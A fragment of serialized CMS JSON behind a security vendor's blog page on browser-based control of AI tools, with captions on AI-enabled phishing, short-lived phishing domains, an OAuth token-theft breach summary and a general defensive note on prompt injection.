176,"nodeType":860},{},[15177],{"data":15178,"marks":15179,"value":13087,"nodeType":864},{},[],{"data":15181,"content":15182,"nodeType":860},{},[15183],{"data":15184,"marks":15185,"value":13094,"nodeType":864},{},[],{"data":15187,"content":15188,"nodeType":941},{},[15189,15202,15215,15228],{"data":15190,"content":15191,"nodeType":945},{},[15192],{"data":15193,"content":15194,"nodeType":860},{},[15195,15199],{"data":15196,"marks":15197,"value":13108,"nodeType":864},{},[15198],{"type":899},{"data":15200,"marks":15201,"value":13112,"nodeType":864},{},[],{"data":15203,"content":15204,"nodeType":945},{},[15205],{"data":15206,"content":15207,"nodeType":860},{},[15208,15212],{"data":15209,"marks":15210,"value":13123,"nodeType":864},{},[15211],{"type":899},{"data":15213,"marks":15214,"value":13127,"nodeType":864},{},[],{"data":15216,"content":15217,"nodeType":945},{},[15218],{"data":15219,"content":15220,"nodeType":860},{},[15221,15225],{"data":15222,"marks":15223,"value":13138,"nodeType":864},{},[15224],{"type":899},{"data":15226,"marks":15227,"value":13142,"nodeType":864},{},[],{"data":15229,"content":15230,"nodeType":945},{},[15231],{"data":15232,"content":15233,"nodeType":860},{},[15234,15238],{"data":15235,"marks":15236,"value":13153,"nodeType":864},{},[15237],{"type":899},{"data":15239,"marks":15240,"value":13157,"nodeType":864},{},[],{"data":15242,"content":15243,"nodeType":860},{},[15244],{"data":15245,"marks":15246,"value":13164,"nodeType":864},{},[],{"data":15248,"content":15249,"nodeType":1312},{},[15250],{"data":15251,"marks":15252,"value":13171,"nodeType":864},{},[],{"data":15254,"content":15255,"nodeType":860},{},[15256],{"data":15257,"marks":15258,"value":13178,"nodeType":864},{},[],{"data":15260,"content":15261,"nodeType":860},{},[15262],{"data":15263,"marks":15264,"value":13185,"nodeType":864},{},[],{"data":15266,"content":15267,"nodeType":860},{},[15268,15271,15275],{"data":15269,"marks":15270,"value":13192,"nodeType":864},{},[],{"data":15272,"marks":15273,"value":13197,"nodeType":864},{},[15274],{"type":899},{"data":15276,"marks":15277,"value":13201,"nodeType":864},{},[],{"data":15279,"content":15280,"nodeType":860},{},[15281],{"data":15282,"marks":15283,"value":13208,"nodeType":864},{},[],{"data":15285,"content":15286,"nodeType":860},{},[15287],{"data":15288,"marks":15289,"value":13215,"nodeType":864},{},[],{"data":15291,"content":15292,"nodeType":1312},{},[15293],{"data":15294,"marks":15295,"value":13222,"nodeType":864},{},[],{"data":15297,"content":15298,"nodeType":860},{},[15299],{"data":15300,"marks":15301,"value":13229,"nodeType":864},{},[],{"data":15303,"content":15304,"nodeType":860},{},[15305],{"data":15306,"marks":15307,"value":13236,"nodeType":864},{},[],{"data":15309,"content":15310,"nodeType":860},{},[15311],{"data":15312,"marks":15313,"value":13243,"nodeType":864},{},[],{"data":15315,"content":15316,"nodeType":1312},{},[15317],{"data":15318,"marks":15319,"value":13250,"nodeType":864},{},[],{"data":15321,"content":15322,"nodeType":860},{},[15323],{"data":15324,"marks":15325,"value":13257,"nodeType":864},{},[],{"data":15327,"content":15328,"nodeType":860},{},[15329],{"data":15330,"marks":15331,"value":13264,"nodeType":864},{},[],{"data":15333,"content":15334,"nodeType":1312},{},[15335],{"data":15336,"marks":15337,"value":13271,"nodeType":864},{},[],{"data":15339,"content":15340,"nodeType":860},{},[15341],{"data":15342,"marks":15343,"value":13278,"nodeType":864},{},[],{"data":15345,"content":15346,"nodeType":860},{},[15347],{"data":15348,"marks":15349,"value":13285,"nodeType":864},{},[],{"data":15351,"content":15352,"nodeType":860},{},[15353],{"data":15354,"marks":15355,"value":13292,"nodeType":864},{},[],{"data":15357,"content":15358,"nodeType":1005},{},[],{"data":15360,"content":15361,"nodeType":1009},{},[15362],{"data":15363,"marks":15364,"value":13303,"nodeType":864},{},[15365],{"type":899},{"data":15367,"content":15368,"nodeType":860},{},[15369],{"data":15370,"marks":15371,"value":13310,"nodeType":864},{},[],{"data":15373,"content":15374,"nodeType":860},{},[15375,15378],{"data":15376,"marks":15377,"value":13317,"nodeType":864},{},[],{"data":15379,"marks":15380,"value":13322,"nodeType":864},{},[15381],{"type":899},{"data":15383,"content":15384,"nodeType":860},{},[15385],{"data":15386,"marks":15387,"value":13329,"nodeType":864},{},[],{"data":15389,"content":15390,"nodeType":860},{},[15391],{"data":15392,"marks":15393,"value":13336,"nodeType":864},{},[],{"data":15395,"content":15396,"nodeType":860},{},[15397],{"data":15398,"marks":15399,"value":13343,"nodeType":864},{},[],{"data":15401,"content":15402,"nodeType":1312},{},[15403],{"data":15404,"marks":15405,"value":13350,"nodeType":864},{},[],{"data":15407,"content":15408,"nodeType":941},{},[15409,15428,15447,15466,15475,15484,15493],{"data":15410,"content":15411,"nodeType":945},{},[15412],{"data":15413,"content":15414,"nodeType":860},{},[15415,15418,15425],{"data":15416,"marks":15417,"value":13363,"nodeType":864},{},[],{"data":15419,"content":15420,"nodeType":883},{"uri":13366},[15421],{"data":15422,"marks":15423,"value":13372,"nodeType":864},{},[15424],{"type":1455},{"data":15426,"marks":15427,"value":13376,"nodeType":864},{},[],{"data":15429,"content":15430,"nodeType":945},{},[15431],{"data":15432,"content":15433,"nodeType":860},{},[15434,15437,15444],{"data":15435,"marks":15436,"value":13386,"nodeType":864},{},[],{"data":15438,"content":15439,"nodeType":883},{"uri":7180},[15440],{"data":15441,"marks":15442,"value":13394,"nodeType":864},{},[15443],{"type":1455},{"data":15445,"marks":15446,"value":13398,"nodeType":864},{},[],{"data":15448,"content":15449,"nodeType":945},{},[15450],{"data":15451,"content":15452,"nodeType":860},{},[15453,15456,15463],{"data":15454,"marks":15455,"value":21,"nodeType":864},{},[],{"data":15457,"content":15458,"nodeType":883},{"uri":13410},[15459],{"data":15460,"marks":15461,"value":13416,"nodeType":864},{},[15462],{"type":1455},{"data":15464,"marks":15465,"value":13420,"nodeType":864},{},[],{"data":15467,"content":15468,"nodeType":945},{},[15469],{"data":15470,"content":15471,"nodeType":860},{},[15472],{"data":15473,"marks":15474,"value":13430,"nodeType":864},{},[],{"data":15476,"content":15477,"nodeType":945},{},[15478],{"data":15479,"content":15480,"nodeType":860},{},[15481],{"data":15482,"marks":15483,"value":13440,"nodeType":864},{},[],{"data":15485,"content":15486,"nodeType":945},{},[15487],{"data":15488,"content":15489,"nodeType":860},{},[15490],{"data":15491,"marks":15492,"value":13450,"nodeType":864},{},[],{"data":15494,"content":15495,"nodeType":945},{},[15496],{"data":15497,"content":15498,"nodeType":860},{},[15499,15502,15509],{"data":15500,"marks":15501,"value":13460,"nodeType":864},{},[],{"data":15503,"content":15504,"nodeType":883},{"uri":13463},[15505],{"data":15506,"marks":15507,"value":13469,"nodeType":864},{},[15508],{"type":1455},{"data":15510,"marks":15511,"value":13473,"nodeType":864},{},[],{"data":15513,"content":15514,"nodeType":860},{},[15515],{"data":15516,"marks":15517,"value":21,"nodeType":864},{},[],{"data":15519,"content":15522,"nodeType":996},{"target":15520},{"sys":15521},{"id":13484,"type":1001,"linkType":1002},[],{"data":15524,"content":15525,"nodeType":1005},{},[],{"data":15527,"content":15528,"nodeType":860},{},[15529,15532,15539],{"data":15530,"marks":15531,"value":13495,"nodeType":864},{},[],{"data":15533,"content":15534,"nodeType":883},{"uri":1700},[15535],{"data":15536,"marks":15537,"value":13503,"nodeType":864},{},[15538],{"type":1455},{"data":15540,"marks":15541,"value":2924,"nodeType":864},{},[],{"entries":15543},{"hyperlink":15544,"inline":15545,"block":15546},[],[],[15547,15553,15577,15604,15629,15634,15637,15664,15671,15708],{"sys":15548,"__typename":1724,"title":15549,"caption":15549,"layoutMode":59,"file":15550},{"id":12712},"The browser is the natural control point for both AI-enabled attacks targeting employees and AI tool usage that introduces risk into organizations. ",{"url":15551,"width":1736,"height":15552},"https://images.ctfassets.net/y1cdw1ablpvd/3vtPqgrZRuVxkVKw9sGLor/ce1d265590cfc23848e25b03fb3ed5a2/image4.png",1142,{"sys":15554,"__typename":1740,"content":15555,"name":15576,"title":59},{"id":12736},{"json":15556},{"data":15557,"content":15558,"nodeType":856},{},[15559],{"data":15560,"content":15561,"nodeType":860},{},[15562,15566,15573],{"data":15563,"marks":15564,"value":15565,"nodeType":864},{},[],"Learn how AI-enabled attacks are making infrastructure-based detection increasingly ineffective in our ",{"data":15567,"content":15568,"nodeType":883},{"uri":12559},[15569],{"data":15570,"marks":15571,"value":15572,"nodeType":864},{},[],"update on the Pyramid of Pain concept for 2026",{"data":15574,"marks":15575,"value":2924,"nodeType":864},{},[],"AI Browser Control IB1",{"sys":15578,"__typename":1740,"content":15579,"name":15603,"title":59},{"id":12807},{"json":15580},{"data":15581,"content":15582,"nodeType":856},{},[15583],{"data":15584,"content":15585,"nodeType":860},{},[15586,15590,15599],{"data":15587,"marks":15588,"value":15589,"nodeType":864},{},[],"Nearly every phishing toolkit that Push encounters in the wild today displays the fingerprints of AI use. Check out our ",{"data":15591,"content":15593,"nodeType":883},{"uri":15592},"https://pushsecurity.com/blog/inside-criminal-phishing-panel/",[15594],{"data":15595,"marks":15596,"value":15598,"nodeType":864},{},[15597],{"type":1455},"recent analysis",{"data":15600,"marks":15601,"value":15602,"nodeType":864},{},[]," of Doko's Panel, a real-time vishing and AiTM kit, for a under-the-hood look at this. ","AI Browser Control IB3",{"sys":15605,"__typename":1740,"content":15606,"name":15628,"title":59},{"id":12828},{"json":15607},{"data":15608,"content":15609,"nodeType":856},{},[15610],{"data":15611,"content":15612,"nodeType":860},{},[15613,15616,15624],{"data":15614,"marks":15615,"value":3719,"nodeType":864},{},[],{"data":15617,"content":15618,"nodeType":883},{"uri":3858},[15619],{"data":15620,"marks":15621,"value":15623,"nodeType":864},{},[15622],{"type":1455},"Spamhaus",{"data":15625,"marks":15626,"value":15627,"nodeType":864},{},[],", 89% of phishing domains are active for fewer than two days, with just 6.5% surviving past 15 days. That means that if you're primarily looking at static indicators, you're already behind. IOC-based detections can't keep up with how quickly attackers can rotate infrastructure.","AI Browser Control IB2",{"sys":15630,"__typename":1724,"title":15631,"caption":15632,"layoutMode":59,"file":15633},{"id":12897},"LLMShare example","The recent LLMShare campaign shows how attackers are abusing AI tools, legitimate pages, and malvertising. ",{"url":8759,"width":1736,"height":5709},{"sys":15635,"__typename":1724,"title":1725,"caption":1726,"layoutMode":59,"file":15636},{"id":1040},{"url":1728,"width":1729,"height":1730},{"sys":15638,"__typename":1740,"content":15639,"name":15663,"title":59},{"id":13049},{"json":15640},{"nodeType":856,"data":15641,"content":15642},{},[15643],{"nodeType":860,"data":15644,"content":15645},{},[15646,15650,15659],{"nodeType":864,"value":15647,"marks":15648,"data":15649},"The Vercel breach isn't an isolated incident. ShinyHunters demonstrated the breadth and scale of ",[],{},{"nodeType":883,"data":15651,"content":15653},{"uri":15652},"https://pushsecurity.com/blog/analyzing-the-instructure-breach/#id-vector-3-oauth-supply-chain-attacks-through-compromised-integrators",[15654],{"nodeType":864,"value":15655,"marks":15656,"data":15658},"OAuth-targeted attacks last year",[15657],{"type":1455},{},{"nodeType":864,"value":15660,"marks":15661,"data":15662},", impacting more than 1,000 organizations in targeted campaigns against Salesloft/Drift. Adversaries compromised Salesloft’s GitHub environment, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight.",[],{},"AI Browser Control IB5",{"sys":15665,"__typename":1724,"title":15666,"caption":15666,"layoutMode":59,"file":15667},{"id":13062},"AI tools are the hub of the modern workplace. ",{"url":15668,"width":15669,"height":15670},"https://images.ctfassets.net/y1cdw1ablpvd/7mRgALIClC1R2Cmuu7xKse/cdaf8cbb26a54ad75b7d52a8c92b1f84/Group_737.png",6824,4280,{"sys":15672,"__typename":1740,"content":15673,"name":15707,"title":59},{"id":13068},{"json":15674},{"nodeType":856,"data":15675,"content":15676},{},[15677,15689,15696],{"nodeType":860,"data":15678,"content":15679},{},[15680,15685],{"nodeType":864,"value":15681,"marks":15682,"data":15684},"A word on prompt injection: ",[15683],{"type":899},{},{"nodeType":864,"value":15686,"marks":15687,"data":15688},"Prompt injection is a serious and structurally difficult to solve problem, and one AI researchers and the security industry are still working out how to defend against. ",[],{},{"nodeType":860,"data":15690,"content":15691},{},[15692],{"nodeType":864,"value":15693,"marks":15694,"data":15695},"High-impact attacks of this kind are still rare in the wild, but the building blocks are all demonstrated and the attack surface is growing as agentic browsers and in-app AI features proliferate. The threat is evolving quickly and detections are still limited, so it pays to start with the controls that hold up regardless of how attacks evolve. ",[],{},{"nodeType":860,"data":15697,"content":15698},{},[15699,15703],{"nodeType":864,"value":15700,"marks":15701,"data":15702},"This starts with k",[],{},{"nodeType":864,"value":15704,"marks":15705,"data":15706},"nowing which AI browsers, extensions, and assistants employees are using, which SaaS apps have AI features enabled, and what OAuth scopes those AIs have been granted. The blast radius of any successful prompt injection is exactly the data and actions those grants permit, so visibility into AI tooling and AI-connected identity is the foundation that any further defense builds on.",[],{},"AI Browser Control IB4",{"sys":15709,"__typename":15710,"title":15711,"arcadeDemoUrl":15712,"playText":15713},{"id":13484},"ArcadeDemo","Secure AI apps demo","https://demo.arcade.software/ibou7WyNSvBX4uRpK25H?embed","2 mins",{"items":15715},[],{},"Why browser visibility and control is key to AI security",{"items":15719},[15720,16370,17051],{"__typename":2059,"sys":15721,"content":15722,"title":8167,"synopsis":8168,"hashTags":59,"publishedDate":8169,"slug":8170,"tagsCollection":16360,"authorsCollection":16366},{"id":7411},{"json":15723},{"data":15724,"content":15725,"nodeType":856},{},[15726,15741,15746,15752,15758,15761,15768,15783,15798,15804,15809,15815,15820,15826,15833,15839,15854,15879,15884,15889,15896,15902,15917,15941,15966,15972,15977,15984,15990,16000,16006,16038,16043,16076,16107,16112,16115,16122,16128,16133,16139,16145,16150,16156,16162,16184,16187,16194,16200,16207,16213,16219,16235,16241,16246,16252,16259,16265,16280,16286,16301,16304,16311,16317,16323,16329,16332,16338,16344],{"data":15727,"content":15728,"nodeType":860},{},[15729,15732,15738],{"data":15730,"marks":15731,"value":7422,"nodeType":864},{},[],{"data":15733,"content":15734,"nodeType":883},{"uri":7425},[15735],{"data":15736,"marks":15737,"value":7430,"nodeType":864},{},[],{"data":15739,"marks":15740,"value":7434,"nodeType":864},{},[],{"data":15742,"content":15745,"nodeType":996},{"target":15743},{"sys":15744},{"id":7439,"type":1001,"linkType":1002},[],{"data":15747,"content":15748,"nodeType":860},{},[15749],{"data":15750,"marks":15751,"value":7447,"nodeType":864},{},[],{"data":15753,"content":15754,"nodeType":860},{},[15755],{"data":15756,"marks":15757,"value":7454,"nodeType":864},{},[],{"data":15759,"content":15760,"nodeType":1005},{},[],{"data":15762,"content":15763,"nodeType":1009},{},[15764],{"data":15765,"marks":15766,"value":7465,"nodeType":864},{},[15767],{"type":899},{"data":15769,"content":15770,"nodeType":860},{},[15771,15774,15780],{"data":15772,"marks":15773,"value":7472,"nodeType":864},{},[],{"data":15775,"content":15776,"nodeType":883},{"uri":7475},[15777],{"data":15778,"marks":15779,"value":7480,"nodeType":864},{},[],{"data":15781,"marks":15782,"value":7484,"nodeType":864},{},[],{"data":15784,"content":15785,"nodeType":860},{},[15786,15789,15795],{"data":15787,"marks":15788,"value":7491,"nodeType":864},{},[],{"data":15790,"content":15791,"nodeType":883},{"uri":7494},[15792],{"data":15793,"marks":15794,"value":7499,"nodeType":864},{},[],{"data":15796,"marks":15797,"value":7503,"nodeType":864},{},[],{"data":15799,"content":15800,"nodeType":860},{},[15801],{"data":15802,"marks":15803,"value":7510,"nodeType":864},{},[],{"data":15805,"content":15808,"nodeType":996},{"target":15806},{"sys":15807},{"id":7515,"type":1001,"linkType":1002},[],{"data":15810,"content":15811,"nodeType":860},{},[15812],{"data":15813,"marks":15814,"value":7523,"nodeType":864},{},[],{"data":15816,"content":15819,"nodeType":996},{"target":15817},{"sys":15818},{"id":7528,"type":1001,"linkType":1002},[],{"data":15821,"content":15822,"nodeType":860},{},[15823],{"data":15824,"marks":15825,"value":7536,"nodeType":864},{},[],{"data":15827,"content":15828,"nodeType":1312},{},[15829],{"data":15830,"marks":15831,"value":7544,"nodeType":864},{},[15832],{"type":899},{"data":15834,"content":15835,"nodeType":860},{},[15836],{"data":15837,"marks":15838,"value":7551,"nodeType":864},{},[],{"data":15840,"content":15841,"nodeType":860},{},[15842,15845,15851],{"data":15843,"marks":15844,"value":7558,"nodeType":864},{},[],{"data":15846,"content":15847,"nodeType":883},{"uri":7180},[15848],{"data":15849,"marks":15850,"value":7565,"nodeType":864},{},[],{"data":15852,"marks":15853,"value":7569,"nodeType":864},{},[],{"data":15855,"content":15856,"nodeType":860},{},[15857,15860,15867,15870,15876],{"data":15858,"marks":15859,"value":7576,"nodeType":864},{},[],{"data":15861,"content":15862,"nodeType":883},{"uri":5327},[15863],{"data":15864,"marks":15865,"value":7584,"nodeType":864},{},[15866],{"type":1455},{"data":15868,"marks":15869,"value":7588,"nodeType":864},{},[],{"data":15871,"content":15872,"nodeType":883},{"uri":7591},[15873],{"data":15874,"marks":15875,"value":7596,"nodeType":864},{},[],{"data":15877,"marks":15878,"value":7600,"nodeType":864},{},[],{"data":15880,"content":15883,"nodeType":996},{"target":15881},{"sys":15882},{"id":7605,"type":1001,"linkType":1002},[],{"data":15885,"content":15888,"nodeType":996},{"target":15886},{"sys":15887},{"id":7611,"type":1001,"linkType":1002},[],{"data":15890,"content":15891,"nodeType":1312},{},[15892],{"data":15893,"marks":15894,"value":7620,"nodeType":864},{},[15895],{"type":899},{"data":15897,"content":15898,"nodeType":860},{},[15899],{"data":15900,"marks":15901,"value":7627,"nodeType":864},{},[],{"data":15903,"content":15904,"nodeType":860},{},[15905,15908,15914],{"data":15906,"marks":15907,"value":7634,"nodeType":864},{},[],{"data":15909,"content":15910,"nodeType":883},{"uri":6543},[15911],{"data":15912,"marks":15913,"value":7641,"nodeType":864},{},[],{"data":15915,"marks":15916,"value":7645,"nodeType":864},{},[],{"data":15918,"content":15919,"nodeType":860},{},[15920,15923,15929,15932,15938],{"data":15921,"marks":15922,"value":7652,"nodeType":864},{},[],{"data":15924,"content":15925,"nodeType":883},{"uri":7655},[15926],{"data":15927,"marks":15928,"value":7660,"nodeType":864},{},[],{"data":15930,"marks":15931,"value":7664,"nodeType":864},{},[],{"data":15933,"content":15934,"nodeType":883},{"uri":3259},[15935],{"data":15936,"marks":15937,"value":7671,"nodeType":864},{},[],{"data":15939,"marks":15940,"value":7675,"nodeType":864},{},[],{"data":15942,"content":15943,"nodeType":860},{},[15944,15947,15953,15956,15963],{"data":15945,"marks":15946,"value":7682,"nodeType":864},{},[],{"data":15948,"content":15949,"nodeType":883},{"uri":7685},[15950],{"data":15951,"marks":15952,"value":7690,"nodeType":864},{},[],{"data":15954,"marks":15955,"value":7694,"nodeType":864},{},[],{"data":15957,"content":15958,"nodeType":883},{"uri":7697},[15959],{"data":15960,"marks":15961,"value":7703,"nodeType":864},{},[15962],{"type":1455},{"data":15964,"marks":15965,"value":7707,"nodeType":864},{},[],{"data":15967,"content":15968,"nodeType":860},{},[15969],{"data":15970,"marks":15971,"value":7714,"nodeType":864},{},[],{"data":15973,"content":15976,"nodeType":996},{"target":15974},{"sys":15975},{"id":7719,"type":1001,"linkType":1002},[],{"data":15978,"content":15979,"nodeType":1312},{},[15980],{"data":15981,"marks":15982,"value":7728,"nodeType":864},{},[15983],{"type":899},{"data":15985,"content":15986,"nodeType":860},{},[15987],{"data":15988,"marks":15989,"value":7735,"nodeType":864},{},[],{"data":15991,"content":15992,"nodeType":860},{},[15993,15997],{"data":15994,"marks":15995,"value":360,"nodeType":864},{},[15996],{"type":899},{"data":15998,"marks":15999,"value":7746,"nodeType":864},{},[],{"data":16001,"content":16002,"nodeType":860},{},[16003],{"data":16004,"marks":16005,"value":7753,"nodeType":864},{},[],{"data":16007,"content":16008,"nodeType":860},{},[16009,16012,16018,16021,16025,16028,16035],{"data":16010,"marks":16011,"value":7760,"nodeType":864},{},[],{"data":16013,"content":16014,"nodeType":883},{"uri":7763},[16015],{"data":16016,"marks":16017,"value":7768,"nodeType":864},{},[],{"data":16019,"marks":16020,"value":7772,"nodeType":864},{},[],{"data":16022,"marks":16023,"value":7777,"nodeType":864},{},[16024],{"type":899},{"data":16026,"marks":16027,"value":7781,"nodeType":864},{},[],{"data":16029,"content":16030,"nodeType":883},{"uri":4082},[16031],{"data":16032,"marks":16033,"value":7789,"nodeType":864},{},[16034],{"type":1455},{"data":16036,"marks":16037,"value":1774,"nodeType":864},{},[],{"data":16039,"content":16042,"nodeType":996},{"target":16040},{"sys":16041},{"id":7797,"type":1001,"linkType":1002},[],{"data":16044,"content":16045,"nodeType":860},{},[16046,16049,16053,16056,16063,16066,16073],{"data":16047,"marks":16048,"value":7805,"nodeType":864},{},[],{"data":16050,"marks":16051,"value":315,"nodeType":864},{},[16052],{"type":899},{"data":16054,"marks":16055,"value":7813,"nodeType":864},{},[],{"data":16057,"content":16058,"nodeType":883},{"uri":7816},[16059],{"data":16060,"marks":16061,"value":7822,"nodeType":864},{},[16062],{"type":1455},{"data":16064,"marks":16065,"value":7826,"nodeType":864},{},[],{"data":16067,"content":16068,"nodeType":883},{"uri":5971},[16069],{"data":16070,"marks":16071,"value":7834,"nodeType":864},{},[16072],{"type":1455},{"data":16074,"marks":16075,"value":7838,"nodeType":864},{},[],{"data":16077,"content":16078,"nodeType":860},{},[16079,16082,16086,16089,16095,16098,16104],{"data":16080,"marks":16081,"value":7845,"nodeType":864},{},[],{"data":16083,"marks":16084,"value":6041,"nodeType":864},{},[16085],{"type":899},{"data":16087,"marks":16088,"value":7853,"nodeType":864},{},[],{"data":16090,"content":16091,"nodeType":883},{"uri":6036},[16092],{"data":16093,"marks":16094,"value":7860,"nodeType":864},{},[],{"data":16096,"marks":16097,"value":7864,"nodeType":864},{},[],{"data":16099,"content":16100,"nodeType":883},{"uri":6075},[16101],{"data":16102,"marks":16103,"value":7871,"nodeType":864},{},[],{"data":16105,"marks":16106,"value":7875,"nodeType":864},{},[],{"data":16108,"content":16111,"nodeType":996},{"target":16109},{"sys":16110},{"id":7880,"type":1001,"linkType":1002},[],{"data":16113,"content":16114,"nodeType":1005},{},[],{"data":16116,"content":16117,"nodeType":1009},{},[16118],{"data":16119,"marks":16120,"value":7892,"nodeType":864},{},[16121],{"type":899},{"data":16123,"content":16124,"nodeType":860},{},[16125],{"data":16126,"marks":16127,"value":7899,"nodeType":864},{},[],{"data":16129,"content":16132,"nodeType":996},{"target":16130},{"sys":16131},{"id":7904,"type":1001,"linkType":1002},[],{"data":16134,"content":16135,"nodeType":860},{},[16136],{"data":16137,"marks":16138,"value":7912,"nodeType":864},{},[],{"data":16140,"content":16141,"nodeType":860},{},[16142],{"data":16143,"marks":16144,"value":7919,"nodeType":864},{},[],{"data":16146,"content":16149,"nodeType":996},{"target":16147},{"sys":16148},{"id":7924,"type":1001,"linkType":1002},[],{"data":16151,"content":16152,"nodeType":860},{},[16153],{"data":16154,"marks":16155,"value":7932,"nodeType":864},{},[],{"data":16157,"content":16158,"nodeType":860},{},[16159],{"data":16160,"marks":16161,"value":7939,"nodeType":864},{},[],{"data":16163,"content":16164,"nodeType":1116},{},[16165],{"data":16166,"content":16167,"nodeType":860},{},[16168,16171,16177,16180],{"data":16169,"marks":16170,"value":7949,"nodeType":864},{},[],{"data":16172,"content":16173,"nodeType":883},{"uri":7952},[16174],{"data":16175,"marks":16176,"value":7957,"nodeType":864},{},[],{"data":16178,"marks":16179,"value":7961,"nodeType":864},{},[],{"data":16181,"marks":16182,"value":7966,"nodeType":864},{},[16183],{"type":2246},{"data":16185,"content":16186,"nodeType":1005},{},[],{"data":16188,"content":16189,"nodeType":1009},{},[16190],{"data":16191,"marks":16192,"value":7977,"nodeType":864},{},[16193],{"type":899},{"data":16195,"content":16196,"nodeType":860},{},[16197],{"data":16198,"marks":16199,"value":7984,"nodeType":864},{},[],{"data":16201,"content":16202,"nodeType":1312},{},[16203],{"data":16204,"marks":16205,"value":7992,"nodeType":864},{},[16206],{"type":899},{"data":16208,"content":16209,"nodeType":860},{},[16210],{"data":16211,"marks":16212,"value":7999,"nodeType":864},{},[],{"data":16214,"content":16215,"nodeType":860},{},[16216],{"data":16217,"marks":16218,"value":8006,"nodeType":864},{},[],{"data":16220,"content":16221,"nodeType":860},{},[16222,16225,16232],{"data":16223,"marks":16224,"value":8013,"nodeType":864},{},[],{"data":16226,"content":16227,"nodeType":883},{"uri":6543},[16228],{"data":16229,"marks":16230,"value":8021,"nodeType":864},{},[16231],{"type":1455},{"data":16233,"marks":16234,"value":8025,"nodeType":864},{},[],{"data":16236,"content":16237,"nodeType":860},{},[16238],{"data":16239,"marks":16240,"value":8032,"nodeType":864},{},[],{"data":16242,"content":16245,"nodeType":996},{"target":16243},{"sys":16244},{"id":8037,"type":1001,"linkType":1002},[],{"data":16247,"content":16248,"nodeType":860},{},[16249],{"data":16250,"marks":16251,"value":8045,"nodeType":864},{},[],{"data":16253,"content":16254,"nodeType":1312},{},[16255],{"data":16256,"marks":16257,"value":8053,"nodeType":864},{},[16258],{"type":899},{"data":16260,"content":16261,"nodeType":860},{},[16262],{"data":16263,"marks":16264,"value":8060,"nodeType":864},{},[],{"data":16266,"content":16267,"nodeType":860},{},[16268,16271,16277],{"data":16269,"marks":16270,"value":8067,"nodeType":864},{},[],{"data":16272,"content":16273,"nodeType":883},{"uri":7180},[16274],{"data":16275,"marks":16276,"value":7185,"nodeType":864},{},[],{"data":16278,"marks":16279,"value":8077,"nodeType":864},{},[],{"data":16281,"content":16282,"nodeType":860},{},[16283],{"data":16284,"marks":16285,"value":8084,"nodeType":864},{},[],{"data":16287,"content":16288,"nodeType":860},{},[16289,16292,16298],{"data":16290,"marks":16291,"value":8091,"nodeType":864},{},[],{"data":16293,"content":16294,"nodeType":883},{"uri":6024},[16295],{"data":16296,"marks":16297,"value":8098,"nodeType":864},{},[],{"data":16299,"marks":16300,"value":8102,"nodeType":864},{},[],{"data":16302,"content":16303,"nodeType":1005},{},[],{"data":16305,"content":16306,"nodeType":1009},{},[16307],{"data":16308,"marks":16309,"value":8113,"nodeType":864},{},[16310],{"type":899},{"data":16312,"content":16313,"nodeType":860},{},[16314],{"data":16315,"marks":16316,"value":8120,"nodeType":864},{},[],{"data":16318,"content":16319,"nodeType":860},{},[16320],{"data":16321,"marks":16322,"value":8127,"nodeType":864},{},[],{"data":16324,"content":16325,"nodeType":860},{},[16326],{"data":16327,"marks":16328,"value":8134,"nodeType":864},{},[],{"data":16330,"content":16331,"nodeType":1005},{},[],{"data":16333,"content":16334,"nodeType":860},{},[16335],{"data":16336,"marks":16337,"value":1682,"nodeType":864},{},[],{"data":16339,"content":16340,"nodeType":860},{},[16341],{"data":16342,"marks":16343,"value":1689,"nodeType":864},{},[],{"data":16345,"content":16346,"nodeType":860},{},[16347,16350,16357],{"data":16348,"marks":16349,"value":21,"nodeType":864},{},[],{"data":16351,"content":16352,"nodeType":883},{"uri":1700},[16353],{"data":16354,"marks":16355,"value":8163,"nodeType":864},{},[16356],{"type":1455},{"data":16358,"marks":16359,"value":2719,"nodeType":864},{},[],{"items":16361},[16362,16364],{"sys":16363,"name":342},{"id":6596},{"sys":16365,"name":6593},{"id":6592},{"items":16367},[16368],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":16369},{"url":2740},{"__typename":2059,"sys":16371,"content":16372,"title":7391,"synopsis":7392,"hashTags":59,"publishedDate":7393,"slug":7394,"tagsCollection":17041,"authorsCollection":17047},{"id":6603},{"json":16373},{"data":16374,"content":16375,"nodeType":856},{},[16376,16382,16388,16412,16418,16423,16428,16438,16441,16448,16461,16467,16472,16478,16484,16489,16492,16499,16505,16510,16515,16521,16527,16542,16547,16550,16557,16572,16577,16583,16586,16593,16599,16605,16610,16615,16649,16655,16658,16665,16671,16677,16710,16716,16740,16746,16779,16785,16788,16795,16810,16816,16823,16836,16842,16857,16863,16866,16872,16878,16894,16897,16904,16919,16925,17035],{"data":16377,"content":16378,"nodeType":860},{},[16379],{"data":16380,"marks":16381,"value":6614,"nodeType":864},{},[],{"data":16383,"content":16384,"nodeType":860},{},[16385],{"data":16386,"marks":16387,"value":6621,"nodeType":864},{},[],{"data":16389,"content":16390,"nodeType":860},{},[16391,16394,16400,16403,16409],{"data":16392,"marks":16393,"value":6628,"nodeType":864},{},[],{"data":16395,"content":16396,"nodeType":883},{"uri":6631},[16397],{"data":16398,"marks":16399,"value":6636,"nodeType":864},{},[],{"data":16401,"marks":16402,"value":6640,"nodeType":864},{},[],{"data":16404,"content":16405,"nodeType":883},{"uri":6643},[16406],{"data":16407,"marks":16408,"value":6648,"nodeType":864},{},[],{"data":16410,"marks":16411,"value":6652,"nodeType":864},{},[],{"data":16413,"content":16414,"nodeType":860},{},[16415],{"data":16416,"marks":16417,"value":6659,"nodeType":864},{},[],{"data":16419,"content":16422,"nodeType":996},{"target":16420},{"sys":16421},{"id":6664,"type":1001,"linkType":1002},[],{"data":16424,"content":16427,"nodeType":996},{"target":16425},{"sys":16426},{"id":6670,"type":1001,"linkType":1002},[],{"data":16429,"content":16430,"nodeType":860},{},[16431,16435],{"data":16432,"marks":16433,"value":6679,"nodeType":864},{},[16434],{"type":899},{"data":16436,"marks":16437,"value":6683,"nodeType":864},{},[],{"data":16439,"content":16440,"nodeType":1005},{},[],{"data":16442,"content":16443,"nodeType":1009},{},[16444],{"data":16445,"marks":16446,"value":6694,"nodeType":864},{},[16447],{"type":899},{"data":16449,"content":16450,"nodeType":860},{},[16451,16454,16458],{"data":16452,"marks":16453,"value":6701,"nodeType":864},{},[],{"data":16455,"marks":16456,"value":6706,"nodeType":864},{},[16457],{"type":2246},{"data":16459,"marks":16460,"value":6710,"nodeType":864},{},[],{"data":16462,"content":16463,"nodeType":860},{},[16464],{"data":16465,"marks":16466,"value":6717,"nodeT